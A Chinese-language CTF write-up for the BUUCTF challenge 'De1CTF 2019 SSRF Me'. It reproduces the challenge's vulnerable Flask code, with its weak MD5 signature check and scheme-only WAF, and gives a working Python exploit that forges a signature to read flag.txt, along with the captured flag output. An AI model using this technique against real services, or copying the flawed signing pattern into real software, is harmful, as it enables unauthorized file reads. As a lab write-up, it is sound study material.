BUUCTF-[De1CTF 2019]SSRF Me

审计代码，用ai还原代码

#! /usr/bin/env python 
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

# 设置默认编码为latin1
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
# 生成一个16字节的随机密钥
secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action  # 操作类型
        self.param = param    # 参数
        self.sign = sign      # 签名
        # 根据IP创建沙盒目录
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):  # 检查签名
            if "scan" in self.action:  # 扫描操作
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:  # 读取操作
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        # 验证签名是否正确
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

# 生成签名的接口
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

# 主接口
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    # 从cookie和参数中获取数据
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):  # WAF检查
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

# 首页
@app.route('/')
def index():
    return open("code.txt","r").read()

# 扫描函数
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]  # 读取URL内容的前50个字符
    except:
        return "Connection Timeout"

# 生成签名函数
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

# MD5函数
def md5(content):
    return hashlib.md5(content).hexdigest()

# WAF函数，防止攻击
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=80)

然后发现是检查sign，一个获取，一个注入，只要secert_key + param + action一样就行，而且key是不会变动。

于是一次查询，获取secert_key+flag.txtread+scan的md5，然后利用这个sgin，注入secert_key+flag.txt+readscan 主要利用了Exec(self)中的if in则可以同时执行两个条件，payload如下：

import requests
import hashlib
import socket

TARGET = "http://f9e47b13-e053-45b9-ae8e-b82c3939068c.node5.buuoj.cn:81/"


def exploit():


    # 第一步：获取flag.txtread的签名用于scan操作
    param = "flag.txtread"
    gene_sign_url = f"{TARGET}geneSign?param={param}"
    original_sign = requests.get(gene_sign_url).text.strip()
    print(f"[+] flag.txtread的签名: {original_sign}")

    cookies = {
        "action": "readscan",
        "sign": original_sign
    }
    params = {
        "param": "flag.txt"
    }

    response = requests.get(
        f"{TARGET}De1ta",
        params=params,
        cookies=cookies
    )
    
    print("\n[+] 操作响应:")
    print(response.text)


if __name__ == "__main__":
    exploit()

获取flag

{"msg": "Sign Error", "code": 500}
PS C:\Users\24785\Desktop\temp> python .\attack.py
[+] flag.txtread的签名: 85fc11543bfa8997cfe73cc492cc9fdc

[+] 操作响应:
{"code": 200, "data": "flag{2a8bdc8c-10d0-4f35-8872-1a47962e4701}\n"}